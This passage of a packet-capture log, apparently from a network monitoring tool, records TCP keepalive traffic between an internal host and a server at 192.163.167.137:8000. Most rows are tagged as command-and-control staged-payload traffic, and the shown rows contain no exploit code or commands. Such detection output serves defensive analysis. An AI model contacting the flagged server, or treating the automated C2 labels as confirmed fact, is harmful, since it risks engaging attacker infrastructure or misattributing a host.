\"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 11553, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 723, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64095, \"\"seq\"\": 3567895847, \"\"ack\"\": 58649505, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (58649504, 58649505))]\"\"}}]\"\n2026-07-01 09:10:33.881830,678,TCP 10.152.152.11:64095 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64095,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=58649504 Ack=3567895847,bc24112907bbbc2411360d0c080045000029b0e6400080063f180a98980bc0a3a789fa5f1f40037eeba0d4a9c52750102014e25e000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45286, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16152, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64095, \"\"dport\"\": 8000, \"\"seq\"\": 58649504, \"\"ack\"\": 3567895847, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 57950, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:10:33.881865,679,TCP 192.163.167.137:8000 -> 10.152.152.11:64095,192.163.167.137,10.152.152.11,8000,64095,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3567895847 Ack=58649505,bc2411360d0cbc24112907bb0800450000342d224000400602d2c0a3a7890a98980b1f40fa5fd4a9c527037eeba18010003f0af700000101050a037eeba0037eeba1,\".$.6\n..$.)....E..4-\"\"@.@.......\n....@._...'.~.....?\n......\n.~...~..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 11554, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 722, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64095, \"\"seq\"\": 3567895847, \"\"ack\"\": 58649505, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (58649504, 58649505))]\"\"}}]\"\n2026-07-01 09:10:34.881820,680,TCP 10.152.152.11:64095 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64095,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=58649504 Ack=3567895847,bc24112907bbbc2411360d0c080045000029b0e7400080063f170a98980bc0a3a789fa5f1f40037eeba0d4a9c52750102014e25e000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45287, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16151, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64095, \"\"dport\"\": 8000, \"\"seq\"\": 58649504, \"\"ack\"\": 3567895847, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 57950, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:10:34.881847,681,TCP 192.163.167.137:8000 -> 10.152.152.11:64095,192.163.167.137,10.152.152.11,8000,64095,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3567895847 Ack=58649505,bc2411360d0cbc24112907bb0800450000342d234000400602d1c0a3a7890a98980b1f40fa5fd4a9c527037eeba18010003f0af700000101050a037eeba0037eeba1,\".$.6\n..$.)....E..4-#@.@.......\n....@._...'.~.....?\n......\n.~...~..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 11555, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 721, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64095, \"\"seq\"\": 3567895847, \"\"ack\"\": 58649505, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (58649504, 58649505))]\"\"}}]\"\n2026-07-01 09:10:35.897472,682,TCP 10.152.152.11:64095 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64095,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=58649504 Ack=3567895847,bc24112907bbbc2411360d0c080045000029b0e8400080063f160a98980bc0a3a789fa5f1f40037eeba0d4a9c52750102014e25e000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45288, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16150, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64095, \"\"dport\"\": 8000, \"\"seq\"\": 58649504, \"\"ack\"\": 3567895847, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 57950, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:10:35.897480,683,TCP 192.163.167.137:8000 -> 10.152.152.11:64095,192.163.167.137,10.152.152.11,8000,64095,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3567895847 Ack=58649505,bc2411360d0cbc24112907bb0800450000342d244000400602d0c0a3a7890a98980b1f40fa5fd4a9c527037eeba18010003f0af700000101050a037eeba0037eeba1,\".$.6\n..$.)....E..4-$@.@.......\n....@._...'.~.....?\n......\n.~...~..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 11556, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 720, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64095, \"\"seq\"\": 3567895847, \"\"ack\"\": 58649505, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (58649504, 58649505))]\"\"}}]\"\n2026-07-01 09:10:36.913112,684,TCP 10.152.152.11:64095 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64095,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=58649504 Ack=3567895847,bc24112907bbbc2411360d0c080045000029b0e9400080063f150a98980bc0a3a789fa5f1f40037eeba0d4a9c52750102014e25e000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45289, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16149, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64095, \"\"dport\"\": 8000, \"\"seq\"\": 58649504, \"\"ack\"\": 3567895847, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 57950, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:10:36.913134,685,TCP 192.163.167.137:8000 -> 10.152.152.11:64095,192.163.167.137,10.152.152.11,8000,64095,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3567895847 Ack=58649505,bc2411360d0cbc24112907bb0800450000342d254000400602cfc0a3a7890a98980b1f40fa5fd4a9c527037eeba18010003f0af700000101050a037eeba0037eeba1,\".$.6\n..$.)....E..4-%@.@.......\n....@._...'.~.....?\n......\n.~...~..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 11557, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 719, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64095, \"\"seq\"\": 3567895847, \"\"ack\"\": 58649505, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (58649504, 58649505))]\"\"}}]\"\n2026-07-01 09:10:37.789935,686,TCP 10.152.152.11:64095 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64095,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,PA,,,Ether > IP > TCP > Raw,4,TCP PA Seq=58649505 Ack=3567895847,bc24112907bbbc2411360d0c08004500003db0ea400080063f000a98980bc0a3a789fa5f1f40037eeba1d4a9c527501820147ca000001100c0ff1100000001000000789ceb0300008f008f,............x........,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 61, \"\"id\"\": 45290, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16128, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64095, \"\"dport\"\": 8000, \"\"seq\"\": 58649505, \"\"ack\"\": 3567895847, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 31904, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"1100c0ff1100000001000000789ceb0300008f008f\"\"}}]\"\n2026-07-01 09:10:37.789970,687,TCP 192.163.167.137:8000 -> 10.152.152.11:64095,192.163.167.137,10.152.152.11,8000,64095,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3567895847 Ack=58649526,bc2411360d0cbc24112907bb0800450000282d264000400602dac0a3a7890a98980b1f40fa5fd4a9c527037eebb65010003f0aeb0000,\".$.6\n..$.)....E..(-&@.@.......\n....@._...'.~..P..?\n...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 11558, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 730, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64095, \"\"seq\"\": 3567895847, \"\"ack\"\": 58649526, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2795, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:10:38.803798,688,TCP 10.152.152.11:64095 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64095,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=58649525 Ack=3567895847,bc24112907bbbc2411360d0c080045000029b0eb400080063f130a98980bc0a3a789fa5f1f40037eebb5d4a9c52750102014e249000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45291, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16147, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64095, \"\"dport\"\": 8000, \"\"seq\"\": 58649525, \"\"ack\"\": 3567895847, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 57929, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:10:38.803819,689,TCP 192.163.167.137:8000 -> 10.152.152.11:64095,192.163.167.137,10.152.152.11,8000,64095,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3567895847 Ack=58649526,bc2411360d0cbc24112907bb0800450000342d274000400602cdc0a3a7890a98980b1f40fa5fd4a9c527037eebb68010003f0af700000101050a037eebb5037eebb6,\".$.6\n..$.)....E..4-'@.@.......\n....@._...'.~.....?\n......\n.~...~..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 11559, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 717, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64095, \"\"seq\"\": 3567895847, \"\"ack\"\": 58649526, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (58649525, 58649526))]\"\"}}]\"\n2026-07-01 09:10:39.819410,690,TCP 10.152.152.11:64095 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64095,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=58649525 Ack=3567895847,bc24112907bbbc2411360d0c080045000029b0ec400080063f120a98980bc0a3a789fa5f1f40037eebb5d4a9c52750102014e249000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45292, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16146, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64095, \"\"dport\"\": 8000, \"\"seq\"\": 58649525, \"\"ack\"\": 3567895847, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 57929, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:10:39.819418,691,TCP 192.163.167.137:8000 -> 10.152.152.11:64095,192.163.167.137,10.152.152.11,8000,64095,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3567895847 Ack=58649526,bc2411360d0cbc24112907bb0800450000342d284000400602ccc0a3a7890a98980b1f40fa5fd4a9c527037eebb68010003f0af700000101050a037eebb5037eebb6,\".$.6\n..$.)....E..4-(@.@.......\n....@._...'.~.....?\n......\n.~...~..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 11560, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 716, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64095, \"\"seq\"\": 3567895847, \"\"ack\"\": 58649526, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (58649525, 58649526))]\"\"}}]\"\n2026-07-01 09:10:40.835038,692,TCP 10.152.152.11:64095 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64095,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=58649525 Ack=3567895847,bc24112907bbbc2411360d0c080045000029b0ed400080063f110a98980bc0a3a789fa5f1f40037eebb5d4a9c52750102014e249000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45293, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16145, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64095, \"\"dport\"\": 8000, \"\"seq\"\": 58649525, \"\"ack\"\": 3567895847, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 57929, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:10:40.835053,693,TCP 192.163.167.137:8000 -> 10.152.152.11:64095,192.163.167.137,10.152.152.11,8000,64095,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3567895847 Ack=58649526,bc2411360d0cbc24112907bb0800450000342d294000400602cbc0a3a7890a98980b1f40fa5fd4a9c527037eebb68010003f0af700000101050a037eebb5037eebb6,\".$.6\n..$.)....E..4-)@.@.......\n....@._...'.~.....?\n......\n.~...~..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 11561, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 715, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64095, \"\"seq\"\": 3567895847, \"\"ack\"\": 58649526, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (58649525, 58649526))]\"\"}}]\"\n2026-07-01 09:10:41.850720,694,TCP 10.152.152.11:64095 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64095,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=58649525 Ack=3567895847,bc24112907bbbc2411360d0c080045000029b0ee400080063f100a98980bc0a3a789fa5f1f40037eebb5d4a9c52750102014e249000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": 